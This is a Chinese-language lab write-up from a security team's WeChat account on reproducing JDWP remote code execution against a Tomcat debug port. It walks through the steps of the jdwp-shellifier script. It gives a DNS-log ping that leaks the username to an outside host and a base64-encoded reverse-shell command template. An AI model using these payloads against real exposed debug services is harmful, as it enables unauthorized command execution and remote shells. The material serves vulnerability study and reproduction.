点击蓝字
关注我们
声明
本文作者:flashine (漏洞复现组)
本文字数:1500
阅读时长:15分钟
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载
JDWP协议
JDWP(Java Debug Wire Protocol Transport Interface)协议是用于调试器(debugger)和被调试的Java虚拟机(Target VM)之前的通信协议。如果一个应用在本地调试没出问题,而在线上出现了问题,就可以开启JDWP远程调试来解决问题,然后就有可能被利用。
JDWP是一个基于二进制包的网络协议。
JDWP大致分为两个阶段:握手(handshake)和应答。
握手结束后,Debugger就可以向Target VM发送命令了。JDWP是通过命令包(command packet)和回复包(reply packet)来进行通信的。JDWP本身是无状态的,因此对命令出现的顺序并不受限制。
Debugger通过命令包获取Target VM 的信息以及控制程序的执行,Target VM通过发送命令包通知Debugger某些事件的发生,如到达断点或是产生异常。回复包是用来回复命令包的,表示该命令是否执行成功。如果执行成功,回复包还可能包含有命令包请求的数据,如变量的值等。而从Target VM发出的命令包是不需要回复的。
另外,JDWP是异步的,不需要等待接收到前一个命令包的回复包就可以发送下一个命令包。
我们可以根据下图给定的包格式来构建命令包和解析回复包
其中Flags
这个字段主要用于区分发送的数据包是哪种类型,0x00
代表命令包,0x80
代表回复包,具体的协议传输细则可以参考oracle官网链接,文后已附上。
环境搭建
环境搭建
基于Tomcat远程调试搭建jdwp演示环境,环境配置如下所示:
tomcat-version: 7.0.106
OS: win7 x64
java-version: 1.8.0_212
这里我使用的是非安装版的Tomcat,即官网上的zip版本。
我们需要修改bin
目录下的startup.bat文件,在文件开头插入一句话即可:
SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000
然后cmd运行startup.bat就可以在8000端口上开启JDWP协议了。
原理
原理
先说几个知识点,在文后的Oracle链接中可以查到:
-
VirtualMachine/IDSizes
是JVM处理的数据结构的大小,不同的机器值可能不同,由于nmap的jdwp-exec.nse脚本使用了硬编码,所以脚本执行不成功。 -
ClassType/InvokeMethod
用于调用一个静态方法 -
ObjectReference/InvokeMethod
用于在JVM中调用一个实例化对象的方法 -
Event/Composite
会强制JVM对命令声明的特定行为做出回应。该命令是调试的关键,设置断点、通过线程单步调试,提供访问/修改值时的通知。
脚本jdwp-shellifier的运行过程梳理如下:
-
与Target VM 握手,建立连接
-
向JVM发出请求获取IDSizes
-
向JVM发出请求获取JVM的版本信息
-
向JVM发出请求获取所有的类信息,其中包含有
referenceTypeID
-
从得到的类信息中提取出
java.lang.Runtime
类的referenceTypeID
-
由于
Runtime
类只能通过getRuntime
方法获取,因此还需要向服务器请求获取方法信息 -
从得到的方法信息中提取出
getRuntime
方法的referenceTypeID
-
给需要指定的方法添加断点,默认是
java.net.ServerSocket.accept
,因为在windows平台下进行jdwp调试只能使用socket类型,且该函数调用比较频繁。 -
当断点触发时,我们就可以得到被调试方法所运行的线程ID
-
清除断点并恢复线程运行
-
创建执行命令的字符串对象,并通过回复包获取该对象ID:
-
调用方法命令调用静态方法
getRuntime
并获取对应的对象ID: -
上次请求过方法信息,从之前请求的方法信息中可获取到
exec
方法的referenceTypeID
-
通过对象的方法调用命令调用
exec
函数就可以执行命令了:
说明
说明
以上主要都是围绕Oracle官方的jdwp协议的API说明在执行,但是执行命令的关键是需要找到thredID
、类和方法的ID,获取不到ID就实现不了对应的功能。比如我想在执行命令之前先看下服务器的IP,但是查了下获取不到getLocalHost
等其他几个获取IP的方法:
由于默认使用的java.net.ServerSocket.accept
调试等待时间较长,可以使用java.lang.String.indexOf
替换掉。
读取执行命令的结果的java写法比较麻烦,可以直接使用dnslog来验证命令是否执行成功,在windows平台可以执行cmd /c ping -n 1 %USERNAME%.[dnslog.cn]
,linux平台可以执行bash -c {echo,[反弹shell命令的base64编码]}|{base64,-d}|{bash,-i}
。
贴一下命令执行成功的截图:
这里不写cmd /c
的话可能导致命令执行不成功哦,另外在cmd下直接执行的时候会自动将%USERNAME%替换为自己主机的名字。
执行结果:
另外,由于执行命令前不知道系统是linu还是windows,如果执行的参数中不带有cmd,程序会自动调用java.lang.System.getProperties
方法获取系统信息,具体如下(部分参数我注释掉了,如有需要可自行修改):
参考链接
参考链接
-
https://ioactive.com/hacking-java-debug-wire-protocol-or-how/
-
https://blog.spoock.com/2019/04/20/jdwp-rce/
-
https://docs.oracle.com/javase/8/docs/platform/jpda/jdwp/jdwp-protocol.html
-
扫描关注公众号回复加群
和师傅们一起讨论研究~
长
按
关
注
WgpSec狼组安全团队
微信号:wgpsec
Twitter:@wgpsec
本文始发于微信公众号(WgpSec狼组安全团队):JDWP RCE 复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论